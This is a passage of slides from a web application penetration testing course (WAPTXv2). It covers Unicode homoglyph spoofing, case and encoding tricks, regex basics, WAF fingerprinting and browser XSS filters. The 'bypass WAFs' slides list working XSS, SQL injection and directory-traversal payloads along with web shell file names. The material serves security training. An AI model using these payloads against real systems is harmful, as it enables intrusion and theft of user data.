LATIN SMALL LETTER O U+03BF GREEK SMALL LETTER OMICRON U+043E CYRILLIC SMALL LETTER O U+043E CYRILLIC SMALL LETTER O U+03F2 GREEK LUNATE SIGMA SYMBOL gοоglе.ϲom U+0435 CYRILLIC SMALL LETTER IE google.com VS U+0065 LATIN SMALL LETTER E U+0063 LATIN SMALL LETTER C WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Homoglyph | Visual Spoofing To speed the homographs generation, rather than searching for look-alike characters in Unicode, there is an interesting application made by Adrian “Irongeek” Crenshaw: Homoglyph Attack Generator http://www.irongeek.com/homoglyph-attack-generator.php 1.1.1.4 Unicode Encoding | p.53 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Homoglyph | Visual Spoofing This attack generator tool is part of a really interesting paper where the author explains the abuse of Unicode characters in order to obfuscate phishing attacks through the use of Homoglyph and Punycode. Punycode and Homoglyph Attacks to Obfuscate URLs for Phishing http://www.irongeek.com/i.php?page=security/out-of-character-use-of-punycode-and-homoglyph- attacks-to-obfuscate-urls-for-phishing 1.1.1.4 Unicode Encoding | p.54 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Computer Interpretations Another interesting aspect is related to string and character "evolutions,” which occur during normal software processes transformations. An example of this is upper and lower casing transformations, which are described in the upcoming slides. 1.1.1.4 Unicode Encoding | p.55 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Computer Interpretations - Example: Censured Feedback In a feedback page, the application layer performs a censorship check before storing data in a DB. There is an input filter that blocks the term EVIL, then transform the string to lowercase and store it in DB. 1.1.1.4 Unicode Encoding | p.56 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Computer Interpretations - Example: Censured Feedback The input flow could be as follow: ➲ A user sends the following message: Evİl intent, as usual! ➲ The filter checks for evil strings, but without success. Evİl != evil 1.1.1.4 Unicode Encoding | p.57 U+0130 (İ) LATIN CAPITAL LETTER I WITH DOT ABOVE WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Computer Interpretations - Example: Censured Feedback ➲ The casing operation is performed [to lowercase]: evil intent, as usual! ➲ CENSURED BYPASSED 1.1.1.4 Unicode Encoding | p.58 U+0130(İ) to lowercase is U+0069 LATIN SMALL LETTER I WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Computer Interpretations - Example: Censured Feedback This happened because a casing operation is performed in the application flow AFTER a security check. Of course, it also works by upper casing characters like this: ſ to upper case is S 1.1.1.4 Unicode Encoding | p.59 U+017F LATIN SMALL LETTER LONG S U+0053 LATIN CAPITAL LETTER S WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Computer Interpretations- Example: Censured Feedback It turns out, that this type of vulnerable implementation may allow an attacker to bypass filters. For example, they can bypass anti cross-site scripting and SQL injection filters and so forth. These are things that never happen in real world! Check them out here: Creative usernames and Spotify account hijacking http://labs.spotify.com/2013/06/18/creative-usernames/ 1.1.1.4 Unicode Encoding | p.60 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Computer Interpretations There are other ways in which characters and strings can be transformed by software processes, such as normalization, canonicalization, best fit mapping, etc. These are brilliantly summarized and explained by Chris Weber in his: Unicode Security Guide http://websec.github.io/unicode-security-guide/ 1.1.1.4 Unicode Encoding | p.61 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Computer Interpretations: Mixed Examples Normalization: ⓓⓡⓞⓟ ⓣⓐⓑⓛⓔ becomes drop table Canonicalization: becomes < (U+003C) 1.1.1.4 Unicode Encoding | p.62 ‹ (U+2039) ﹤(U+FE64) < (U+ff1c) WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 http://unicode.org/cldr/utility/ http://codepoints.net/ http://txtn.us/ http://www.panix.com/~eli/unicode/convert.cgi If you want to play a bit with Unicode characters, you can visit Unicode utilities to get information about a character or search confusable characters. In addition to this tool, there are other interesting resources such as codepoints.net, txtn.us and Unicode Text Converter. | p.63 1.1.1.4 Unicode Encoding WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 As we have just seen in the previous slides, data encoding is fundamental for communication in web applications. Sometimes, encoding is required by the chosen channel. Other times it is used intentionally by developers but, sometimes it is used multiple times, intentionally and not. It is also common to abuse multiple encodings to bypass security measures 1.1.2 Multiple (De|En) Codings | p.64 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Example: URL-Encoding > URL A simple scenario could be a URL sent over URL, like the common URL redirects we see daily for surfing web sites: http://mywebsite/login.php?redirectURL=FORW-URL?is_ok=yes In this case, the forwarding URL will be URL-encoded in order to respect the URL rules: http://mywebsite/login.php?redirectURL=FORW-URL%3Fis_ok%3Dyes 1.1.2 Multiple (De|En) Codings | p.65 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Example: URL-Encoding > URL Of course, even if a parameter sent is not a URL, encoding is still required: http://mywebsite/login.php?param=I♥🍻 In this case, the parameter contains Unicode characters, hence the URL-encoding will be: http://mywebsite/login.php?param=I%E2%99%A5%F0%9F%8D%BB 1.1.2 Multiple (De|En) Codings | p.66 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Example: URL-Encoding > URL Multiple encodings may also occur if the parameter sent is previously encoded, like the following: http://mywebsite/login.php?param=Rk9SVy1VUkw/Y2F0PWNsb3ducw== In this case, we have a Base64 data encoded to send over URL; thus, the result will be: http://mywebsite/login.php?param=Rk9SVy1VUkw%2FY2F0PWNsb3ducw%3D%3D 1.1.2 Multiple (De|En) Codings | p.67 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Example: URL-Encoding > URL Sometimes, a simple parameter can be a structured parameter. For example, the following cookie value: SESSION = dXNlcm5hbWU6Y2xvd247cGFzc3dvcmQ6dGhlQ2xvd24h …may appear like a 'random' value used to identify the user session, but it decodes to: SESSION = username:clown;password:theClown! 1.1.2 Multiple (De|En) Codings | p.68 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 It turns out that we can construct several examples based on multiple encoding/decoding scenarios, but the topic here is to understand that identifying different data encoding types is an important skill that may help you to detect and exploit multiple scenarios. All in all, in order to respect the application requirements and properly test a web application, we must detect and consider multiple encoding and decoding operations. 1.1.2 Multiple (De|En) Codings | p.69 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 You’ve been studying quite intently. We recommend taking a quick break and come back refreshed. ^_^ | p.70 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 1.2 Filtering Basics | p.71 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 A common, yet often recommended, best practice to protect web applications against malicious attacks is the use of specific input filtering and output encoding controls. These kinds of controls may range from naive blacklists to experienced and highly restrictive whitelists. What about in the real world? We are somewhere in the middle! 1.2 Filtering Basics | p.72 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API Controls can be implemented at different layers in a web application. They can a be represented as either libraries and APIs (by naive developers) or, in the best case, by internal specialists or external organizations, like ESAPI by OWASP. Security controls are also inside most common browsers. 1.2 Filtering Basics | p.73 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Sometimes, because of a multitude of complications and standards, it is not possible, or it is too problematic to implement internal solutions. These solutions may be in the form of libraries or APIs; however, the key is in the adoption of external solutions. Generally, these solutions fall into the IDS and IPS world, but for web applications, the most chosen are the Web Application Firewall (WAFs). 1.2 Filtering Basics | p.74 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 http://www.modsecurity.org/ Even with WAFs, it is possible to choose between several implementations. These range from not only commercial and very expensive, but also free and open source solutions like the well known ModSecurity. 1.2 Filtering Basics | p.75 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 The instructions on what a WAF, or generally, what a filter must block/allow are defined as rules (also referred as filters). Before we analyze different filter implementations, let’s see the de facto standard used to write rules. | p.76 1.2 Filtering Basics WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Regular Expressions (RE or RegEx) represents the official way used to define the filter rules. Mastering RegEx is fundamental to understand how to bypass filters because RE are extremely powerful! The upcoming slides contain a brief introduction to the subject. 1.2 Filtering Basics | p.77 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 NOTE: This is a brief introduction to Regular Expressions. For a comprehensive introduction and much more, in the references you will find some interesting resources. 1.2.1 Regular Expressions | p.78 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 A regular expression is a special sequence of characters used for describing a search pattern. For the sake of clarity, in the next slides we will see the following notation: ▪ regular expression > regex ▪ pattern matched > match 1.2.1 Regular Expressions | p.79 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 http://en.wikipedia.org/wiki/Deterministic_finite_automaton http://en.wikipedia.org/wiki/Nondeterministic_finite_automaton Many programming languages, text processors, etc., support regular expressions. The implementation system of regex functionality is often called regular expression engine. Basically, a regex "engine" tries to match the pattern (regex) to the given string. There are two main types of regex engines: DFA and NFA, also referred to as text-directed and regex-directed engines. The key difference between the two engines is a notational convenience in the construction of the FA (Finite Automaton). 1.2.1 Regular Expressions | p.80 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 The DFA engine is faster than NFA because of its deterministic approach, but it does not support useful features like lazy quantifiers and backreferences. Additionally, NFA works the way humans tend to do: "regex-directed". It’s no surprise that the NFA engine is more popular. Here is a table of notable programs that use DFA or NFA engines: 1.2.1 Regular Expressions | p.81 ENGINE PROGRAM DFA awk, egrep, MySQL, Procmail NFA .NET languages, Java, Perl, PHP, Python, Ruby, PCRE library, vi, grep, less, more WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 The syntax and behavior of a particular engine is called a regular expression flavor. Since the engine is a piece of software, there are different versions and of course they are not fully compatible with each other. Thus, expect to find multiple flavor based on the library you are using/testing! 1.2.1 Regular Expressions | p.82 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 For a complete comparison list of regular expression engines/flavors visit the following links: Comparison of regular expression engines • http://en.wikipedia.org/wiki/Comparison_of_regular_expr ession_engines Regular Expression Flavor Comparison • http://www.regular-expressions.info/refflavors.html 1.2.1 Regular Expressions | p.83 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Since regular expression is a "symbolic language", to master this tool we must know the symbols of the language. They are few and have specific meanings. Let’s look at some tables that collect these symbols and their meanings. 1.2.1 Regular Expressions | p.84 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.85 1.2.1.1 Metacharacters Char Name Meaning ^ Caret The position at the START of the line. $ Dollar The position at the END of the line. () Opening/Closing parenthesis Start/close a characters group. [] Opening/Closing square bracket Start/close a characters class. ? Question mark One or zero (optional) of the immediately-preceding item (char or group). + Plus One or more of the immediately-preceding item (char or group). * Star or asterisk Any number, including none, of the immediately-preceding item (char or group). . Period or dot Shorthand for a character class that matches any character. \ Backslash Escape special characters. | Vertical bar or pipe It means OR. Combines multiple expressions in one that matches any of single ones. {} Opening/Closing curly brace Start/close repetitions of a characters class. WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Since there are some character classes frequently used, there are also related shorthand classes that are useful to decrease the size and increase the readability of a regex. The table on the next slide has the most common shorthand classes. 1.2.1.2 Shorthand Character Classes | p.86 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.87 1.2.1.2 Shorthand Character Classes SHORTHAND NAME MEANING ^ Caret If at the beginning of the character class, it means to reverse the matching for the class. \d Digit Matches any digit character. The same as [0-9] \D Non-digit The complement of \d. The same as [^\d] \w Part-of-word character Matches any alphanumeric character or an underscore. The same as [a-zA-z0-9_] In some flavors the underscore is omitted. \W Non-word character The complement of \w. The same as [^\w] \s Whitespace character Matches any whitespace character. The same as [ \f\n\r\t\v] \S Non-whitespace character The complement of \s. The same as [^\s] WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 http://en.wikipedia.org/wiki/Control_character Oftentimes, to evade bad filters and obfuscate the payload it is common to use non-printing characters. These are control characters used mainly to control the format of displayed/printed information. The most used characters are represented in the table on the next slide. 1.2.1.3 Non-Printing Characters | p.88 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.89 1.2.1.3 Non-Printing Characters SHORTHAND NAME (Symbol, Unicode) MEANING \0 NUL (␀ U+0000) NUL Byte, in many programming languages marks the end of a string. \b Backspace (␀ U+0008) Within a character class represent the backspace character, while outside \b matches a word boundary. \t Horizontal tab (␀ U+0009) Generated by the Tab key on a standard keyboard. \n Line feed (␀ U+000A) New line. \v Vertical tab (␀ U+000B) Vertical tabulation. \f Form feed (␀ U+000C) Form feed. \r Carriage return (␀ U+000D) In HTTP, the \r\n sequence is used as the end-of-line marker. \e Escape (␀ U+001B) Escape character (Only for GNU Compiler Collection). WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Regular expression flavors that work with Unicode use specific meta-sequences to match code points. The sequence is \ucode-point , where code-point is the hexadecimal number of the character to match. There are regex flavors like PCRE that do not support the former notation, but use an alternative sequence \x{code-point} in its place. 1.2.1.4 Unicode | p.90 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Match Unicode Code Point For example, the regex \u2603 matches the snowman character ☃ in .NET, Java, JavaScript and Python. If we want to match the same character to the PCRE library in Apache and PHP, we must use the other notation: \x{2603} 1.2.1.4 Unicode | p.91 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Instead of matching a single Unicode code point, it is possible to match if a character has a specific "quality". This is possible with the use of Unicode properties. Unicode defines for each character, properties or qualities, such as: "is this character uppercase" or "is this character a punctuation" and so on, in order to match these qualities with regex exists specific meta-sequences. 1.2.1.4 Unicode | p.92 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 The characters that have a specific quality are matched with the meta-sequence \p{quality-id} . To match the characters that do not have the quality, the meta-sequence is \P{quality-id} . Some general Unicode character qualities are reported in the table on the next slide. 1.2.1.4 Unicode | p.93 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.94 1.2.1.4 Unicode CHARACTER QUALITY DESCRIPTION \p{L} or \p{Letter} All the letters, from any language. \p{Ll} or \p{Lowercase_Letter} Lowercase letters that have the respective uppercase quality. \p{Z} or \p{Separator} Characters used to separate, but without visual representation. \p{S} or \p{Symbol} Currency symbols, math symbols, etc… \p{N} or \p{Number} All the numeric characters. \p{Nd} or \p{Decimal_Digit_Number} Numbers from zero to nine in multiple scripts except Chinese, Japanese, and Korean. \p{P} or \p{Punctuation} All the punctuation characters. WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Match Unicode Category For example, to match the lowercase characters in this string: Ğ ī ű Ŝ ê p Р Ễ the regex is \p{Ll} and the characters matched are ī ű ê p 1.2.1.4 Unicode | p.95 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Match Unicode Category To match the string with all the case variations (lower, upper and title), this regex does the job: [\p{Ll}\p{Lu}\p{Lt}] As a shorthand, some regex flavors implement this solution: \p{L&} 1.2.1.4 Unicode | p.96 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 We have briefly seen Regular Expressions, which is the main method used to define the rules of how a WAF should behave. They define which input is good or bad for the web application and respectively what the WAF should allow or block. The meaning given to the rules defines the mode by which a WAF should behave. It can be whitelisted or blacklisted. Basically, a WAF in whitelisting mode allows only what is explicitly defined in the rules; however, in contrast, blacklisting mode allows anything except what is explicitly denied in the rules. 1.2.2 Web Application Firewall | p.97 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 It turns out that whitelisting mode is the best solution to protect a web application; on the other hand, to customize the rules is not an easy task. This requires a deep knowledge of the application to protect and, obviously, of the WAF solution. Furthermore, the whitelisting mode is prone to false positives, which is the reason it is very common to find WAFs deployed in blacklisting mode rather than whitelisting mode. 1.2.2 Web Application Firewall | p.98 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 The blacklisting mode is a collection of well-known attacks. WAF producers put together a list of rules to protect a web application against various attack vectors that are used to exploit the most common vulnerabilities. | p.99 1.2.2 Web Application Firewall WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 The main problem with this kind of approach is that there are multiple ways to reach the same goal; therefore, every small change of the attack payload must be added to the blacklist, otherwise you have a WAF bypass! Predicting or keeping track of each payload tweak is very hard, that's why we frequently read the expression: All WAFs can be bypassed! 1.2.2 Web Application Firewall | p.100 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Over the years, security researchers have discovered several "alternative vectors" (i.e. WAF bypasses) and a lot of well-known names were involved. The following examples are just simple rules to follow to deceive ingenuous WAFs. 1.2.2 Web Application Firewall | p.101 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Cross-Site Scripting Instead of using: The best choice is: 1.2.2.1 Simple Rules to Bypass WAFs | p.102 ▼ alert(‘xss’) ▼ alert(1) ▲ prompt('xss') ▲ prompt(8) ▲ confirm('xss') ▲ confirm(8) ▲ alert(/xss/.source) ▲ window[/alert/.source](8) DO WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Cross-Site Scripting Instead of using: The best choice is: 1.2.2.1 Simple Rules to Bypass WAFs | p.103 ▼ alert(document.cookie) ▲ with(document)alert(cookie) ▲ alert(document['cookie']) ▲ alert(document[/cookie/.source]) ▲ alert(document[/coo/.source+/kie/.so urce]) DO WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Cross-Site Scripting Instead of using: The best choice is: 1.2.2.1 Simple Rules to Bypass WAFs | p.104 ▲ <img src=x onerror=alert(1);> ▲ javascript:alert(document.cookie) ▲ <svg/onload=alert(1)> ▲ <video src=x onerror=alert(1);> ▲ <audio src=x onerror=alert(1);> ▲ data:text/html;base64,PHNjcmlwdD5h bGVydCgnWFNTJyk8L3NjcmlwdD4= DO WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Blind SQL Injection Instead of using: The best choice is: 1.2.2.1 Simple Rules to Bypass WAFs | p.105 ▼ ' or 1=1 ▲ ' or 6=6 ▲ ' or 0x47=0x47 ▲ or char(32)=' ' ▲ or 6 is not null DO WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 SQL Injection Instead of using: The best choice is: 1.2.2.1 Simple Rules to Bypass WAFs | p.106 ▼ UNION SELECT ▲ UNION ALL SELECT DO WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Directory Traversal Instead of using: The best choice is: 1.2.2.1 Simple Rules to Bypass WAFs | p.107 ▼ /etc/passwd ▲ /too/../etc/far/../passwd ▲ /etc//passwd ▲ /etc/ignore/../passwd ▲ /etc/passwd....... DO WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Web Shell Instead of using: The best choice is: 1.2.2.1 Simple Rules to Bypass WAFs | p.108 ▲ c99.php ▲ r57.php ▲ shell.aspx ▲ cmd.jsp ▲ CmdAsp.asp ▲ augh.php DO WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Usually WAFs work in passive mode, reactive mode, or sometimes both. It depends on the period at which they are installed. For example, once deployed, they can be in passive mode, reducing the number of false positives and avoiding blocking the application; however, once in production, most are reactive. Before testing a web application, it is extremely useful to know if there is a WAF on the other side and what kind it is. WAF systems leave several footprints of their presence, which allow us to detect which WAF is in place. Let’s check out some techniques. 1.2.2.2 WAF Detection and Fingerprinting | p.109 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Cookie Values Some WAF systems reveal their presence through cookies. They release their own cookie during the HTTP communications. 1.2.2.2 WAF Detection and Fingerprinting | p.110 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Cookie Values: Citrix Netscaler uses some different cookies in the HTTP responses like ns_af or citrix_ns_id or NSC_ F5 BIG-IP ASM (Application Security Manager) uses cookies starting with TS and followed with a string that respect the following regex: ^TS[a-zA-Z0-9]{3,6} 1.2.2.2 WAF Detection and Fingerprinting | p.111 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Cookie Values: Barracuda uses two cookies barra_counter_session and BNI__BARRACUDA_LB_COOKIE. HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 8543 Content-Type: text/html Expires: Tue, 08 Apr 2014 08:56:45 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Date: Tue, 08 Apr 2014 08:57:44 GMT Set-Cookie: BNI__BARRACUDA_LB_COOKIE=000000000000000000000000c400000a0000bb20; Path=/ | p.112 1.2.2.2 WAF Detection and Fingerprinting WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Header Rewrite Some WAFs rewrite the HTTP headers. Usually these modify the Server header to deceive the attackers. For example, they either rewrite the header if the request is malicious or, depending on the malicious request, remove the HTTP Server header in the response. 1.2.2.2 WAF Detection and Fingerprinting | p.113 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Header Rewrite: Example – Rewrite Server Header 1.2.2.2 WAF Detection and Fingerprinting | p.114 HTTP response for hostile request HTTP/1.1 404 Not Found Date: Mon, 7 Apr 2014 10:11:06 GMT Server: Netscape-Enterprise/6.1 Content-Type: text/html; Content-Length: 158 HTTP/1.1 200 OK Date: Mon, 7 Apr 2014 10:10:50 GMT Server: Apache (Unix) Content-Type: text/html Content-Length: 2506 HTTP response for non-hostile request WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 HTTP Response Code Some WAFs modify the HTTP response codes if the request is hostile; for example: mod_security > 406 Not Acceptable AQTRONIX WebKnight > 999 No Hacking 1.2.2.2 WAF Detection and Fingerprinting | p.115 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 HTTP Response Body It is also possible to detect the presence of the WAF plainly in the response body. 1.2.2.2 WAF Detection and Fingerprinting | p.116 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 HTTP Response Body: mod_security HTTP/1.1 406 Not Acceptable Date: Mon, 7 Apr 2014 11:10:50 GMT Server: Apache Content-Length: 226 Keep-Alive: timeout=10, max=30 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 <head><title>Not Acceptable!</title></head><body><h1>Not Acceptable!</h1> <p>An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.</p></body></html> | p.117 1.2.2.2 WAF Detection and Fingerprinting WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 HTTP Response Body: AQTRONIX WebKnight 1.2.2.2 WAF Detection and Fingerprinting | p.118 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 HTTP Response Body: dotDefender 1.2.2.2 WAF Detection and Fingerprinting | p.119 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Close Connection An interesting feature supported by some WAFs is close connection. It is useful in dropping the connection in the case the WAF detects a malicious request. 1.2.2.2 WAF Detection and Fingerprinting | p.120 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Close Connection: mod_security Here is a possible implementation with mod_security to detect a brute force attack: SecAction phase:1,id:109,initcol:ip=%{REMOTE_ADDR},nolog SecRule ARGS:login "!^$" "nolog,phase:1,id:110,setvar:ip.auth_attempt=+1,deprecatevar:ip.auth_attempt=20/120" SecRule IP:AUTH_ATTEMPT "@gt 25" "log,drop,phase:1,id:111,msg:'Possible Brute Force Attack'" Source and Meaning > https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual#drop | p.121 1.2.2.2 WAF Detection and Fingerprinting WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Many penetration testing tools have features to detect the presence of a WAF. These features are both used as a first step to understand how to craft payloads and if it is needed. An example would be to obfuscate the attack vector or use a specific bypass. 1.2.2.2 WAF Detection and Fingerprinting | p.122 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 https://code.google.com/p/waffit/ The most well-known tool made by Sandro Gauci and Wendel G. Henrique is called wafw00f. Wafw00f is a tool written in python that can detect up to 20 different WAF products. 1.2.2.2 WAF Detection and Fingerprinting | p.123 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 The techniques used to detect a WAF are similar to those we have seen previously: 1. Cookies 2. Server Cloaking 3. Response Codes 4. Drop Action 5. Pre-Built-In Rules 1.2.2.2 WAF Detection and Fingerprinting | p.124 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Scanning a website with wafw00f is very simple, and the following image confirms it: 1.2.2.2 WAF Detection and Fingerprinting | p.125 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 http://nmap.org/nsedoc/scripts/http-waf-fingerprint.html As an addition to wafw00f you might want to use Nmap. It contains a script that tries to detect the presence of a web application firewall, its type and version. The script file is http-waf-fingerprint and is authored by Hani Benhabiles. 1.2.2.2 WAF Detection and Fingerprinting | p.126 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Scanning a website with nmap is as simple as running wafw00f. We just require the script name to be in the command: 1.2.2.2 WAF Detection and Fingerprinting | p.127 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 https://code.google.com/p/imperva-detect/ Another interesting resource is imperva-detect by Lamar Spells. This utility is 100% focused on the detection of an Imperva WAF and it runs 6 tests, one baseline and five additional: 1.2.2.2 WAF Detection and Fingerprinting | p.128 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 The following image is an example of how to run imperva- detect test scripts: 1.2.2.2 WAF Detection and Fingerprinting | p.129 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 Web Application Firewalls and libraries are filtering solutions used to block web attacks, server-side at the heart of web applications. Over the years, this has become the "classic" and consolidated approach. However, in the last ten years another approach has arisen. The concept is to block web attacks client-side within web browsers. These browsers are the primary mean used to address attacks. 1.2.3 Client-Side Filters | p.130 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 The goal of client-side defenses is to protect users against vulnerabilities in web applications. Of course this approach is not simple, and defenses need to be generic enough to always be enabled. If they are not, they can become a blocker for the browsers themselves and to their respective users. From an attacker's point of view, we want to understand these mechanisms and how to bypass them. Our aim is the target users who would otherwise be protected. 1.2.3 Client-Side Filters | p.131 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 https://addons.mozilla.org/it/firefox/addon/noscript/ The first browser protection began in the open source community. The pioneer of the first valid solution was Giorgio Maone, in late 2005, with the NoScript Security Suite extension for Firefox. 1.2.3.1 Browser Add-ons | p.132 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 NoScript is a whitelist-based security tool that basically disables all the executable web content (JavaScript, Java, Flash, Silverlight, …) and lets the user choose which sites are "trusted”, thus allowing the use of these technologies. 1.2.3.1 Browser Add-ons | p.133 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 NoScript is easy enough to use; however, the strongest point of this extension is the extensive list of security features supported. 1.2.3.1 Browser Add-ons | p.134 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 http://noscript.net/features#xss Among the features, the strong and powerful anti-XSS protection is probably one of the most effective browser- based solutions to prevent targeted malicious Web attacks. 1.2.3.1 Browser Add-ons | p.135 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 http://blogs.msdn.com/b/ie/archive/2008/07/02/ie8-security-part- iv-the-xss-filter.aspx History The first attempt at blocking malicious requests "natively” (i.e. internally in the browser), was made by Microsoft and introduced in Internet Explorer 8 as XSS Filter. This filter attempts to block reflected XSS attacks by applying regular expressions to response data. 1.2.3.2 Native Browser Filters | p.136 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 History After Microsoft, Google Chrome introduced their own cross- site scripting filters, XSS Auditor. This filter is slightly different from IE's XSS Filter and NoScript. Instead of being layered on top of the browser, it is integrated into WebKit/Blink, which are the rendering engines that support XSS Auditor. 1.2.3.2 Native Browser Filters | p.137 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 http://blogs.technet.com/b/srd/archive/2008/08/18/ie-8-xss-filter-architecture- implementation.aspx XSS Filter (Internet Explorer) The architecture and implementation of XSS Filter in Internet Explorer is explained in this blog post. 1.2.3.2 Native Browser Filters | p.138 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 XSS Filter (Internet Explorer) The XSS Filter rules are hardcoded in the c:\windows\system32\mshtml.dll library. We have multiple ways to inspect them using the following: • Hex editors like WinHex, or Notepad++ with TextFX plugin • IDAPro • MS-DOS commands! 1.2.3.2 Native Browser Filters | p.139 Faster solution! WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 XSS Filter (Internet Explorer) The command is: findstr /C:"sc{r}" \WINDOWS\SYSTEM32\mshtml.dll | find "{" If you want a more "human-readable" version, then export the result to a file and use a text editor to read the content. findstr /C:"sc{r}" \WINDOWS\SYSTEM32\mshtml.dll | find "{" > savepath 1.2.3.2 Native Browser Filters | p.140 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 XSS Filter (Internet Explorer) Here are few extracted rules in Internet Explorer 11: {<EM{B}ED[ /+\t].*?((src)|(type)).*?=} {[ /+\t\"\'`]{o}n\c\c\c+?[ +\t]*?=.} {[i]?f{r}ame.*?[ /+\t]*?src[ /+\t]*=} {<fo{r}m.*?>} {<sc{r}ipt.*?[ /+\t]*?((src)|(xlink:href)|(href))[ /+\t]*=} {<BA{S}E[ /+\t].*?href[ /+\t]*=} {<LI{N}K[ /+\t].*?href[ /+\t]*=} {<ME{T}A[ /+\t].*?http-equiv[ /+\t]*=} 1.2.3.2 Native Browser Filters | p.141 WAPTXv2: Section 1, Module 1 - Caendra Inc. © 2020 XSS Filter (Internet Explorer): Filter Examination This filter detects the string javascript: {(j|(&#x?0*((74)|(4A)|(106)|(6A));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline; ))))*(a|(&#x?0*((65)|(41)|(97)|(61));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newli ne;))))*(v|(&#x?0*((86)|(56)|(118)|(76));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(n 